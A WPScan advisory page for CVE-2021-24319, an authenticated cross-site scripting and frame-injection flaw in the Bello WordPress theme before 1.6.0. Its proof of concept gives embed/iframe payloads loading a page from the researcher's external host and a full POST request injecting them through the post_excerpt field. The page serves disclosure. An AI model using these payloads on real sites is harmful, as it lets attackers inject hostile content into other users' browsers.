WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

Themes Vulnerabilities

Bello < 1.6.0 - Authenticated Cross-Site Scripting (XSS) and XFS

Description

The theme did not properly sanitise its post_excerpt parameter before outputting it back in the shop/my-account/bello-listing-endpoint/ page, leading to a Cross-Site Scripting issue

Proof of Concept

### -- [ Payloads: ]

[$] <!--><embed src=https://m0ze.ru/payload/xfsii.html>

[$] <!--><iframe src=https://m0ze.ru/payload/xfsii.html></iframe>



### -- [ PoC | Authenticated XFS | My Listings: ]

[!] POST /main-demo/shop/my-account/bello-listing-endpoint/?listing_id=7317&cat=115 HTTP/1.1
Host: bello.bold-themes.com
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=---------------------------16118302073611242382926219402
Content-Length: 13779
Referer: https://bello.bold-themes.com/main-demo/shop/my-account/bello-listing-endpoint/?listing_id=7317&cat=115
Cookie: [user cookies]

-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="action"

ajax_submit
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="rwmb_form_config"

5d63602a0e2f80c83196bc5ea6405fca
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="post_title"

13
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="post_content"

13
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="post_excerpt"

</textarea><!-->"><!--><embed src=https://m0ze.ru/payload/xfsii.html>
<iframe src=https://m0ze.ru/payload/xfsii.html></iframe>
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="_thumbnail_id"

7316
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="_thumbnail_id"

7316
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="nonce_listing_cf"

e1c3b088fu
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="_wp_http_referer"

/main-demo/shop/my-account/bello-listing-endpoint/?listing_id=7317&cat=115
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-location_position"

13
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-region"

13
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-price_from"

13
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-price_to"

13
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-price_free"

1
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[0][start]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[0][end]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[0][start2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[0][end2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[1][start]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[1][end]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[1][start2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[1][end2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[2][start]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[2][end]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[2][start2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[2][end2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[3][start]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[3][end]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[3][start2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[3][end2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[4][start]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[4][end]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[4][start2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[4][end2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[5][start]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[5][end]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[5][start2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[5][end2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[6][start]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[6][end]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[6][start2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-working_time[6][end2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-contact_address"

13
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-contact_phone"

13
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-contact_mobile"

13
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-contact_email"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-contact_website"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-contact_price"

13
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-contact_description"

13
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-social_facebook"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-social_twitter"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-social_instagram"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-social_google_plus"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-social_pinterest"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-social_tripadvisor"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-social_youtube"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-faq"

13
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-amenities_free_wifi"

1
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-amenities_air_conditioned"

1
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-media_images_featured"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-media_images_exterior"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-media_images_interior"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-media_images_pools"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-media_images_beach"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-media_images_spa"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-media_audio_sound"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-media_video_1"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-media_video_2"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-media_video_3"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-media_audio_1"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-timekit[0]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-timekit[1]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-timekit[2]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-timekit[3]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-timekit[4]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-timekit[5]"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-bello-listing-package"

bello-default-package
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-contact_form_email"


-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-amenities_hostel_restaurant"

1
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-amenities_hostel_non_smoking_rooms"

1
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-category-115[]"

49
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="boldthemes_theme_listing-category-115[]"

115
-----------------------------16118302073611242382926219402
Content-Disposition: form-data; name="rwmb_submit"

1
-----------------------------16118302073611242382926219402--
 

Affects Themes

bello
Fixed in version 1.6.0

References

CVE
CVE-2021-24319
URL
https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-1021%5D-Bello-WordPress-Theme-v1.5.9.txt

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

m0ze

Submitter

m0ze

Submitter website
https://m0ze.ru
Submitter twitter
vladm0ze
Verified

Yes

WPVDB ID
2c274eb7-25f1-49d4-a2c8-8ce8cecebe68

Timeline

Publicly Published

2021-05-16 (about 1 years ago)

Added

2021-05-16 (about 1 years ago)

Last Updated

2021-05-17 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us